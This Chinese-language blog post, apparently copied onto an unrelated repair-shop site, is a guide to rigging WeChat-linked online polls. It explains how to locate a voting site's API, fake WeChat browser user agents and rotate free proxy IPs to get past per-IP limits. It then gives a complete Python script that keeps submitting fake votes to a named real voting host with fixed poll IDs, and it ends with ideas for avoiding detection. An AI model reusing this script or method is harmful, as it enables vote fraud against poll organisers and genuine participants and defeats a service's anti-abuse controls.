微信刷票工具 |
您所在的位置：网站首页 › 微信投票刷票怎样收费 › 微信刷票工具 |
|
1. 概述
闲来无事，做一个微信刷票工具，只是验证了技术思路是否可行。不涉及任何商业利益！ 2. 技术预研微信投票工具很多，有一些是微信官方的，这个可能没办法破解；有一些是需要关注公众号，与微信深度绑定，不容易破解。 剩下一些，要么只获取了微信openid，或者只通过ip做了限制，破解起来简单一些，可以一试。 3. 破解思路 3.1. 确认投票机制打开手机微信，进入投票页面，下拉可以看到投票网站的地址，如果不是wx的，可以尝试搞一下子 通过电脑chrome浏览器模拟微信浏览器，打开投票页面，确认投票api 确认投票api比较麻烦，需要慢慢摸索，有时候需要看看上下文的请求，有时候可能需要看看js源码，分析投票机制，也需要反复尝试 # 在chrome增加一个device，user-agent设置为wechat浏览器即可 Mozilla/5.0 (Linux; Android 7.0; MI 5s Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/64.0.3282.137 Mobile Safari/537.36 wxwork/2.4.16 MicroMessenger/6.3.22 NetType/WIFI Language/zhChrome浏览器模拟微信浏览器 Chrome 修改 user agent 简单模拟微信内置浏览器 3.2. 编写投票脚本基于#2.1的探索，如果只是基于IP的投票限制，反而简单许多。 可以搞一个代理IP池，通过代理IP池发起投票request，基本可以成功。 代理IP池，依赖免费代理源，定时抓取page解析得到可用的代理IPhttps://github.com/jhao104/proxy_pool 免费的可用率太低，大概1/10，网速也比较慢；做爬虫的话，可以买一个收费的，当前场景够用 代码clone下来之后，如何执行 DB_CONN=redis://127.0.0.1:6379/0 sh start.sh 也可以通过docker启动 docker run --network host --env DB_CONN=redis://127.0.0.1:6379/0 -p 5010:5010 jhao104/proxy_pool image.png 投票脚本 import requests from retry import retry import random import time import string import hashlib import pickle import pathlib def get_user_agent(): android_user_agents = [ 'Mozilla/5.0 (Linux; Android 7.0; MI 5s Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/64.0.3282.137 Mobile Safari/537.36 wxwork/2.4.16 MicroMessenger/6.3.22 NetType/WIFI Language/zh', 'Mozilla/5.0 (Linux; Android 9; PCNM00 Build/PKQ1.190630.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045129 Mobile Safari/537.36 MMWEBID/1926 MicroMessenger/7.0.12.1620(0x27000C37) Process/tools NetType/WIFI Language/zh_CN ABI/arm64', 'Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045130 Mobile Safari/537.36 MMWEBID/9034 MicroMessenger/7.0.12.1620(0x27000C36) Process/tools NetType/WIFI Language/zh_CN ABI/arm64', 'Mozilla/5.0 (Linux; Android 9; Redmi Note 8 Pro Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 XWEB/1171 MMWEBSDK/200201 Mobile Safari/537.36 MMWEBID/229 MicroMessenger/7.0.12.1620(0x27000C37) Process/tools NetType/WIFI Language/zh_CN ABI/arm64', 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/67.0.3396.87 XWEB/1171 MMWEBSDK/191201 Mobile Safari/537.36 MMWEBID/4454 MicroMessenger/7.0.10.1580(0x27100AFF) Process/toolsmp NetType/WIFI Language/zh_CN ABI/arm32', 'Mozilla/5.0 (Linux; Android 9; BKL-AL20 Build/HUAWEIBKL-AL20; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045130 Mobile Safari/537.36 MMWEBID/7838 MicroMessenger/7.0.11.1600(0x27000B34) Process/tools NetType/4G Language/zh_CN ABI/arm64', 'Mozilla/5.0 (Linux; Android 10; VOG-AL00 Build/HUAWEIVOG-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045130 Mobile Safari/537.36 MMWEBID/2687 MicroMessenger/7.0.10.1580(0x27000AFE) Process/tools NetType/WIFI Language/zh_CN ABI/arm64', ] return random.choice(android_user_agents) def get_req_key(): letters = random.sample('abcdefghijklmnopqrstuvwxyz', 4) digits = random.sample(string.digits, 4) return ''.join([f'{x}{y}' for x, y in zip(digits, letters)]) def get_hash(key): hash_str = hashlib.md5() hash_str.update(key.encode('utf-8')) return hash_str.hexdigest() def get_proxy(): return requests.get("http://127.0.0.1:5010/get/").json() def delete_proxy(proxy): requests.get("http://127.0.0.1:5010/delete/?proxy={}".format(proxy)) def pickle_dump(data, file): with open(file, 'wb') as f: pickle.dump(data, f) def pickle_load(file): with open(file, 'rb') as f: return pickle.load(f) @retry(tries=3, delay=1) def fake_req(proxy): req_key = get_req_key() user_agent = get_user_agent() url = f'http://{req_key}.gd-cj.com/index.php?g=Wap&m=Vote&a=ticket' headers = { 'Content-Length': '114', 'Content-Type': 'application/x-www-form-urlencoded; ', 'User-Agent': user_agent, 'Origin': f'http://{req_key}.gd-cj.com', 'Host': f'{req_key}.gd-cj.com', 'Referer': f'http://{req_key}.gd-cj.com/index.php?g=Wap&m=Vote&a=detail&token=Fxea5C5sj3562xdE&id=556&zid=2230', 'X-Requested-With': 'XMLHttpRequest' } form_data = dict( zid='2230', vid='556', token='Fxea5C5sj3562xdE', __hash__=f'{get_hash(req_key)}_{get_hash(user_agent)}' ) print(f'proxy: {proxy}') resp = requests.post(url, headers=headers, data=form_data, proxies={"http": "http://{}".format(proxy)}, timeout=10) print(f'response: {resp.status_code} - {resp.content}') try: resp_json = resp.json() return resp_json.get('status') == 108 except: pass return False if __name__ == '__main__': used_proxy_file = './proxy_list.pkl' total, success = 0, 0 proxy_list = pickle_load(used_proxy_file) if pathlib.Path(used_proxy_file).exists() else [] proxy = None while True: try: proxy = get_proxy().get("proxy") delete_proxy(proxy) if proxy is None: time.sleep(10) continue if proxy in proxy_list: time.sleep(0.1) continue proxy_list.append(proxy) pickle_dump(proxy_list, used_proxy_file) total += 1 if fake_req(proxy): success += 1 print('=================== bingo') except Exception as e: # print(f'exception: {e}') pass print(f'success: {success}, total: {total}') time.sleep(random.randint(1, 5)) 4. 总结时间仓促，只是走通思路，代码没有仔细设计与调整，进而更加仿真，减少被发现的可能，比如 request里面__hash__字段的生成机制（随意生成的，貌似不要也行。。） req_key的作用是啥（只是仿照原来的规则，生成了一个）IP代理工具jhao104/proxy_pool很赞，省了不少事情。做了几个小优化： 有一个bugfix 解析免费代理源，只看了第一页，修改为前10页 内部还有一些逻辑可以优化道高一尺，魔高一丈，技术就是在不断的battle情况下，才日益精进 |
| CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |